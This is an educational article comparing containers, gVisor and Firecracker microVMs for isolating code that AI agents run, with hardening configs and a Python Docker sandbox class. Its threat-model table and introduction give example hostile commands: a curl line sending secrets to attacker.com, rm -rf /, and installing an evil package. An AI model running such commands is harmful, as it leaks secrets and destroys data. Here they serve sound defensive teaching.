Navigation
πŸ€– Apps & AgentsΒ· 12 min read

Sandbox Types

Containers, microVMs (Firecracker), gVisor β€” isolation levels, startup latency, security boundaries, and when to use each for agent code execution.

sandboxcontainerfirecrackergvisormicrovmisolationagent-execution

Agents generate and execute code β€” and that code is untrusted. A coding agent told to β€œfix the tests” might run rm -rf / if the model hallucinates. Sandboxes provide isolated execution environments that contain the blast radius. The three main options β€” containers, gVisor, and microVMs β€” trade off isolation strength against startup speed and resource overhead.


1. The Threat Model

LLM-generated code can do anything the execution environment permits:

ThreatExampleConsequence
Filesystem escapeWrite to /etc/passwd, read host secretsData breach, privilege escalation
Network exfiltrationcurl attacker.com -d "$(cat /secrets)"Leak sensitive data
Resource exhaustionInfinite loop, fork() bomb, OOM allocationDOS on host, affects other tenants
Supply chainpip install evil-packageArbitrary code execution
Kernel exploitExploit shared kernel vulnerabilityFull host compromise

The sandbox must prevent all of these while still allowing the agent to do useful work (install packages, run tests, start servers).


2. Three Isolation Levels

Sandbox Isolation Levels

Containers (Docker)

Containers use Linux namespaces (isolated views of PID, network, filesystem) and cgroups (resource limits):

docker run --rm \
    --memory=2g --cpus=1.0 \            # Resource limits
    --network=none \                      # No network access
    --read-only \                         # Read-only root filesystem
    --tmpfs /tmp:size=500m \              # Writable temp space
    --security-opt=no-new-privileges \    # Can't escalate privileges
    --cap-drop=ALL \                      # Drop all Linux capabilities
    agent-sandbox:latest \
    python user_code.py
PropertyValue
Startup time200-500ms (with image cached)
Memory overhead~10 MB per container
IsolationNamespace-level (shared kernel)
Escape difficultyModerate β€” kernel is shared, CVEs exist
Best forTrusted internal agents, development

The kernel problem: Containers share the host kernel. A kernel vulnerability (they appear regularly) can allow escape. For user-facing agents processing untrusted input, containers alone are insufficient.

gVisor (User-Space Kernel)

gVisor interposes a user-space kernel (called Sentry) between the container and the host kernel. Syscalls from the sandboxed process go to Sentry, which implements a subset of Linux syscalls without touching the real kernel:

# Run container with gVisor runtime
docker run --runtime=runsc \
    --memory=2g --cpus=1.0 \
    --network=none \
    agent-sandbox:latest \
    python user_code.py
Without gVisor:              With gVisor:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”            β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  User Code   β”‚            β”‚  User Code   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€            β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Linux Kernel β”‚ ← shared   β”‚   Sentry     β”‚ ← intercepts syscalls
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€            β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   Hardware   β”‚            β”‚ Linux Kernel β”‚ ← minimal surface
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜            β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
                            β”‚   Hardware   β”‚
                            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
PropertyValue
Startup time500-800ms
Memory overhead~50 MB per sandbox (Sentry process)
IsolationUser-space kernel (host kernel barely touched)
Escape difficultyVery hard β€” attacker must exploit Sentry AND host kernel
Syscall coverage~70% of Linux syscalls (some missing/incomplete)
Best forMulti-tenant agent platforms

Limitations: Not all programs work β€” anything using io_uring, some GPU access, or obscure syscalls may fail. gVisor is designed for typical server workloads, not exotic kernel features.

microVMs (Firecracker)

Firecracker runs a full lightweight VM with its own kernel. Each sandbox is a complete virtual machine with hardware-level isolation (KVM/QEMU-style), but optimized for fast boot:

# Firecracker VM configuration
vm_config = {
    "boot-source": {
        "kernel_image_path": "/kernels/vmlinux-5.10",
        "boot_args": "console=ttyS0 reboot=k panic=1 pci=off"
    },
    "drives": [{
        "drive_id": "rootfs",
        "path_on_host": "/images/agent-rootfs.ext4",
        "is_root_device": True,
        "is_read_only": True,
    }],
    "machine-config": {
        "vcpu_count": 2,
        "mem_size_mib": 2048,
    },
    "network-interfaces": []  # No network by default
}
PropertyValue
Startup time125-200ms (Firecracker optimized)
Memory overhead~5 MB Firecracker VMM + VM memory allocation
IsolationHardware (KVM) β€” separate kernel, separate memory space
Escape difficultyExtremely hard β€” requires KVM hypervisor exploit
Full Linux compatibilityYes β€” runs its own kernel
Best forUser-facing code execution (E2B, Lambda)

The surprise: Firecracker is faster to start than gVisor and provides stronger isolation. The tradeoff is higher per-VM memory overhead (dedicated kernel + userspace).


3. Comparison Matrix

FeatureContainergVisorFirecracker
Startup latency200-500ms500-800ms125-200ms
Memory overhead~10 MB~50 MB~30 MB + VM memory
Kernel isolationNone (shared)User-space kernelFull (own kernel)
Syscall compatibility100%~70%100%
GPU passthroughYes (nvidia-docker)LimitedPossible but complex
Filesystem sharingEasy (bind mounts)Easy (bind mounts)Requires virtio-fs
Network controliptables/noneiptables/noneNo NIC = no network
Max concurrent1000s per host100s per host100s per host
Used byMost cloud platformsGKE Sandbox, CloudRunAWS Lambda, Fly.io, E2B

4. Production: E2B (Firecracker-Based)

E2B is the most popular sandbox-as-a-service for AI agents, built on Firecracker:

from e2b_code_interpreter import Sandbox

# Create a sandbox (Firecracker VM, starts in ~150ms)
sandbox = Sandbox()

# Execute untrusted code
execution = sandbox.run_code("""
import numpy as np
result = np.random.randn(100).mean()
print(f"Result: {result:.4f}")
""")

print(execution.logs.stdout)  # "Result: 0.0312"

# Install packages inside sandbox
sandbox.run_code("!pip install pandas")

# Sandbox is fully isolated β€” can't access host
sandbox.close()  # Destroys the VM

Building Your Own Sandbox Service

For self-hosted agents:

import docker

class ContainerSandbox:
    """Docker-based sandbox with security hardening."""
    
    def __init__(self, image="agent-sandbox:latest", timeout=30):
        self.client = docker.from_env()
        self.image = image
        self.timeout = timeout
    
    def execute(self, code: str) -> SandboxResult:
        container = self.client.containers.run(
            self.image,
            command=["python", "-c", code],
            detach=True,
            mem_limit="2g",
            cpu_quota=100000,           # 1 CPU
            network_disabled=True,       # No network
            read_only=True,              # Read-only root
            tmpfs={"/tmp": "size=500m"}, # Writable temp
            security_opt=[
                "no-new-privileges",
                "apparmor=agent-profile", # AppArmor confinement
            ],
            cap_drop=["ALL"],            # Drop all capabilities
            pids_limit=256,              # Prevent fork bombs
        )
        
        try:
            result = container.wait(timeout=self.timeout)
            logs = container.logs().decode()
            return SandboxResult(
                exit_code=result["StatusCode"],
                stdout=logs,
                timed_out=False,
            )
        except Exception:
            container.kill()
            return SandboxResult(exit_code=-1, stdout="", timed_out=True)
        finally:
            container.remove(force=True)

5. Sandbox Hardening Checklist

Regardless of sandbox type, apply defense in depth:

# Security hardening layers
filesystem:
  - Read-only root filesystem
  - Writable /tmp with size limit (tmpfs)
  - No access to host volumes (no bind mounts to sensitive paths)
  - No device access (/dev filtered)

network:
  - Default: no network access
  - If needed: allowlist specific domains/IPs
  - No access to instance metadata (169.254.169.254)
  - Rate limit outbound connections

resources:
  - Memory limit (2-4 GB per sandbox)
  - CPU limit (1-2 cores)
  - PID limit (256 β€” prevents fork bombs)
  - Execution timeout (30-120 seconds)
  - Disk write limit (500 MB tmpfs)

privileges:
  - Drop ALL Linux capabilities
  - no-new-privileges flag
  - Non-root user inside sandbox
  - AppArmor or seccomp profile

monitoring:
  - Log all executed commands
  - Alert on repeated timeout/kill
  - Track resource usage per session

For detailed security analysis including prompt injection and network threats, see Agent Security.


6. Choosing a Sandbox Type

Is the agent executing user-provided code?
  β”œβ”€β”€ Yes β†’ Firecracker (strongest isolation)
  └── No, only model-generated code
       β”œβ”€β”€ Multi-tenant (multiple users)?
       β”‚    β”œβ”€β”€ Yes β†’ gVisor or Firecracker
       β”‚    └── No (single-tenant) β†’ Container with hardening
       └── Need GPU access?
            β”œβ”€β”€ Yes β†’ Container (nvidia-docker) with AppArmor
            └── No β†’ gVisor or Firecracker

Self-Check

  • Compare containers, gVisor, and Firecracker on isolation strength, startup time, and compatibility
  • Explain why shared-kernel containers are insufficient for untrusted code
  • Configure a Docker sandbox with resource limits, no network, and AppArmor
  • Describe the gVisor Sentry architecture and its syscall interception model
  • Apply the sandbox hardening checklist to a production agent system

References